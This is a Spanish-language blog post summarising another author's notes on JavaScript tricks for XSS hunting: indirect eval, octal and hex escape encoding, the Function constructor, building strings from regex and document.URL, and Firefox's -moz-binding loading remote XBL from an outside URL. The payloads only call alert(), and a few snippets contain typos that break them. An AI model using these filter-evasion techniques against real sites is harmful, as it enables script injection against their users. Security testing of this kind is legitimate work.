He leído una entrada de Gareth Heyes (la escribió el dia de mis cumpleaños XD), en el blog The Spanner, en donde se trata un tema que me gusta bastante: Hacking con JavaScript.
Para los que no sepan qué es JavaSript pueden hechar una ojeada en la Wikipedia, para una referencia rápida. JavaScript es un lenguaje ampliamente usado en la Web, y más aún cuando las aplicaciones Web 2.0 usan AJAX para casi todo, a tal punto que cada vez de desarrollan más FrameWorks especiales para dicha tarea.
Por tal motivo me gustaría compartir con ustedes algunas cosas interesantes, que tomo del post de Gareth Heyes, en cuanto a algunas características de JavaScript que nos ayudarán cuando estemos buscando bugs XSS, por ejemplo. Comencemos!
¿Qué puedes hacer si no es posible usar eval()?
En Javascript puedes guardar referencias a funciones nativas en vairables, de modo que puedes hacer lo siguiente:
x=eval;
x();// llamar eval
En navegadores basados en el motor Gecko también te permiten llamar la función eval así:
0['eval']('alert(/XSS/)')
Por lo que puedes hacer cosas cómo (solo usa tu imaginación):
0['ev'+'al']('alert(/XSS/)');
Trabajando con caracteres/palabras...
Javascript soporta varios tipos de codificación que te permiten representar diferentes caracteres. De esta forma, el siguiente ejemplo crea la conbinación función eval y alert:
alert('\141\154\145\162\164\050\061\051')
Ya que \141 se traduce en ‘a’ etc, cuando tienes un string en javaScript usando “” or ” puedes usar caractéres UNICODE, entonces, cuando JavaScript encuentra el caracter ‘\’ este será convertido a una letra, dependiendo de su código.
Codificación Hexadecimal también puede ser usada así:
alertString = 'a\x6cert(1)';
Puedes también usar eval para que convierta el caracter por tí, por ejemplo en siguiente código produce la letra ‘a’:
harNumber = 141;
stringQuote = "'";
backslash = "\\";
alert(eval(stringQuote + backslash + charNumber + stringQuote));
¿Cómo hacer llamadas a funciones anónimas?
JavaScript te permite invocar funciones cuando usas ‘()’, pero también puedes lo puede usar para realizar invocaciones a funciones anónimas, así:
new Function('alert(1)')();
El código de arriba crea una nueva función anónima y pasa el string ‘alert(1)’ que se incrustó en la función recién creada, lo que luego ejecuta la función. Puedes también combinar las técnicas mencionadas, usando por ejemplo codificación de caracteres en el parámetro que recibe la nueva función, de hecho, no es necesario especificar la palabra reservada ‘new’:
Function('a\x6cert(1)')();
¿Qué puedes usar como nombre de variables?
Javascript no es muy estricto en cuanto a nombres de variables, por lo que se pueden declarar variables con el caracter ‘_’, incluso ‘$’ puede ser usado como nombre de variable.
¿Cómo puedes crear un String?
Los Strings son definidos usando String(), ” y “” etc. Lo que tal vez no sepas, es que las expresiones regulares pueden también ser usadas para crear un string, como en el siguiente ejemplo:
newString = /XSS/.source;
newString = /XSS/ + '';
newString = newString[1] + newString[2] + newString[3];
Necesito usar un caracter pero no está permitido, ¿cómo le hago?
Piense alrededor del problema, en vez de intentar acceder al caractér directamente, obtenga la información de otra fuente. Supongamos que quieres el caractér dos puntos (:), es un ejemplo, y haz intentado de codificando caracteres pero no lo haz logrado... puedes entonces usar la propiedad URL para obtener ésta información. Ejemplo:
alert(document.URL.substr(4, 1));
¿Hay alguna forma de ejecutar JavaScript en CSS?
Firefox tiene unas pequeñas características que permiten una ejecución inusual de Javascript, entre ellas está la extensión CSS -moz-binding que te permite enlazar documentos XML usando CSS. Por ejemplo:
<p style=-moz-binding:
url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml#xss);>
Test</p>
¿Cómo puedo usar XML con Javascript?
Firefox ahora soporta XML en el código Javascript, puedes por ejemplo incluir etiquetas de esta manera :
testXML = <s>Test XML string</s>;
alert(textXML.text());
Enlaces de interés: